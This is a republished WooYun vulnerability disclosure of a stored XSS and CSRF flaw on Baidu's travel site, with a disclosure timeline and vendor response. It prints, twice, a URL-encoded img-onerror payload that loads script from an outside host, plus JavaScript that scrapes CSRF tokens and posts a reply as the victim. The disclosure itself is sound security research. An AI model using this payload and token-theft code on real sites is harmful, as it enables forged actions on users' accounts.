百度某分站存储型XSS+csrf

admin 2015年7月16日08:59:27评论303 views字数 234阅读0分46秒阅读模式
摘要

2014-10-22: 细节已通知厂商并且等待厂商处理中
2014-10-24: 厂商已经确认,细节仅向厂商公开
2014-11-03: 细节向核心白帽子及相关领域专家公开
2014-11-13: 细节向普通白帽子公开
2014-11-23: 细节向实习白帽子公开
2014-12-06: 细节向公众公开

漏洞概要 关注数(15) 关注此漏洞

缺陷编号: WooYun-2014-80369

漏洞标题: 百度某分站存储型XSS+csrf

相关厂商: 百度

漏洞作者: 0x_Jin

提交时间: 2014-10-22 15:58

公开时间: 2014-12-06 16:00

漏洞类型: XSS 跨站脚本攻击

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 持久型xss 存储型xss sns类型应用xss xss利用技巧 xss技巧

0人收藏


漏洞详情

披露状态:

2014-10-22: 细节已通知厂商并且等待厂商处理中
2014-10-24: 厂商已经确认,细节仅向厂商公开
2014-11-03: 细节向核心白帽子及相关领域专家公开
2014-11-13: 细节向普通白帽子公开
2014-11-23: 细节向实习白帽子公开
2014-12-06: 细节向公众公开

简要描述:

今天跟往常一样闲着无事打开hao123找找站来X,突然就看到百度旅游了,突然就发现点问题了,然后妈妈再也不用担心我的帖子没回复了!

详细说明:

证明图:

百度某分站存储型XSS+csrf

百度某分站存储型XSS+csrf

首先问题出在游记 --> 实用攻略处

百度某分站存储型XSS+csrf

在里面输入些字符 然后点击提交 然后抓包改包。

这里他会做很多次的验证 所以只修改一次是不行的!

百度某分站存储型XSS+csrf

xss处就是我们的输入,虽然在前端限制了字符 但是服务端是没限制可输入字符的!

可以把payload给url编码一下然后放进去!

Payload:

%3Cimg%20src%3Dx%20onerror%3Ddocument.body.appendChild(createElement(%2Fscript%2F.source)).src%3Dalt%20alt%3D%2F%2Fkm3.pw%3E

加载 km3.pw/index.html的内容!

km3.pw的内容:

百度某分站存储型XSS+csrf

code 区域
var bdsExp=/bdstoken" value="/w{32}/;
var pidExp=//w{24}" name="pid/;
var yuanma = document.all[0].outerHTML
var postoken1 = String(bdsExp.exec(yuanma)).replace('bdstoken" value="',"");
var postoken2 = String(pidExp.exec(yuanma)).replace('" name="pid',"");
function Connection(Sendtype,url,content,callback){
if (window.XMLHttpRequest){
var xmlhttp=new XMLHttpRequest();
}
else{
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}

xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4&&xmlhttp.status==200)
{
callback(xmlhttp.responseText);
}
}
xmlhttp.open(Sendtype,url,true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send(content);
}
Connection("POST","http://lvyou.baidu.com/notes/post/submit","content=%3Cp%3E0x_Jin%20Test%3C%2Fp%3E&nid=43cfba3e4ef59fdd26221554&bdstoken="+postoken1+"&pid="+postoken2+"&vcode_md5=&editorValue=%3Cp%3E0x_Jin%20Test%3C%2Fp%3E",function(){});

只要访问我的游记就会在我的游记下回复 0x_Jin Test!

我们来看下效果:

百度某分站存储型XSS+csrf

测试URL:

http://lvyou.baidu.com/notes/43cfba3e4ef59fdd26221554

漏洞证明:

证明图:

百度某分站存储型XSS+csrf

百度某分站存储型XSS+csrf

首先问题出在游记 --> 实用攻略处

百度某分站存储型XSS+csrf

在里面输入些字符 然后点击提交 然后抓包改包。

这里他会做很多次的验证 所以只修改一次是不行的!

百度某分站存储型XSS+csrf

xss处就是我们的输入,虽然在前端限制了字符 但是服务端是没限制可输入字符的!

可以把payload给url编码一下然后放进去!

Payload:

%3Cimg%20src%3Dx%20onerror%3Ddocument.body.appendChild(createElement(%2Fscript%2F.source)).src%3Dalt%20alt%3D%2F%2Fkm3.pw%3E

加载 km3.pw/index.html的内容!

km3.pw的内容:

百度某分站存储型XSS+csrf

code 区域
var bdsExp=/bdstoken" value="/w{32}/;
var pidExp=//w{24}" name="pid/;
var yuanma = document.all[0].outerHTML
var postoken1 = String(bdsExp.exec(yuanma)).replace('bdstoken" value="',"");
var postoken2 = String(pidExp.exec(yuanma)).replace('" name="pid',"");
function Connection(Sendtype,url,content,callback){
if (window.XMLHttpRequest){
var xmlhttp=new XMLHttpRequest();
}
else{
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}

xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4&&xmlhttp.status==200)
{
callback(xmlhttp.responseText);
}
}
xmlhttp.open(Sendtype,url,true);
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send(content);
}
Connection("POST","http://lvyou.baidu.com/notes/post/submit","content=%3Cp%3E0x_Jin%20Test%3C%2Fp%3E&nid=43cfba3e4ef59fdd26221554&bdstoken="+postoken1+"&pid="+postoken2+"&vcode_md5=&editorValue=%3Cp%3E0x_Jin%20Test%3C%2Fp%3E",function(){});

只要访问我的游记就会在我的游记下回复 0x_Jin Test!

我们来看下效果:

百度某分站存储型XSS+csrf

测试URL:

http://lvyou.baidu.com/notes/43cfba3e4ef59fdd26221554

修复方案:

过滤吧。你们比我更专业 不是么!

版权声明:转载请注明来源 0x_Jin@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-10-24 11:21

厂商回复:

感谢提交,已通知业务部门处理

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-10-22 17:58 | 进击的zjx ( 普通白帽子 | Rank:1712 漏洞数:224 )

    1

    你关注的白帽子 0x_Jin 发表了漏洞 百度某分站存储型XSS+csrf

  2. 2014-10-22 23:07 | phantomer ( 路人 | Rank:10 漏洞数:5 | 菜比一个。求勿喷。)

    0

    你关注的白帽子 0x_Jin 发表了漏洞 百度某分站存储型XSS+csrf

  3. 2014-10-23 08:20 | 残废 ( 普通白帽子 | Rank:274 漏洞数:58 | 我是残废,啦啦啦啦)

    0

    你关注的白帽子 0x_Jin 发表了漏洞 百度某分站存储型XSS+csrf

  4. 2014-10-23 10:35 | 胡来大师 ( 实习白帽子 | Rank:67 漏洞数:10 | 大牛,泄了。。。)

    0

    你关注的白帽子 0x_Jin 发表了漏洞 百度某分站存储型XSS+csrf

  5. 2014-10-24 07:47 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )

    0

    你关注的白帽子 0x_Jin 发表了漏洞 百度某分站存储型XSS+csrf

  6. 2014-11-23 17:05 | ddy ( 实习白帽子 | Rank:45 漏洞数:17 | 其实第一次要我挖洞我是拒绝的。因为,你不...)

    1

    你关注的白帽子 百度某分站存储型XSS+csrf 发表了漏洞 0x_Jin

  7. 2014-11-23 17:21 | 玉林嘎 百度某分站存储型XSS+csrf ( 普通白帽子 | Rank:941 漏洞数:108 )

    1

    你关注的白帽子 百度某分站存储型XSS+csrf 发表了漏洞 0x_Jin

  8. 2014-12-07 19:22 | 机器猫 ( 普通白帽子 | Rank:1358 漏洞数:291 | 爱生活、爱腾讯、爱网络!一个有梦想的16岁...)

    1

    你关注的白帽子 百度某分站存储型XSS+csrf 发表了漏洞 0x_Jin

  9. 2014-12-08 12:53 | DKmen ( 路人 | Rank:17 漏洞数:2 | 临界点)

    1

    你关注的白帽子 百度某分站存储型XSS+csrf 发表了漏洞 0x_Jin

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin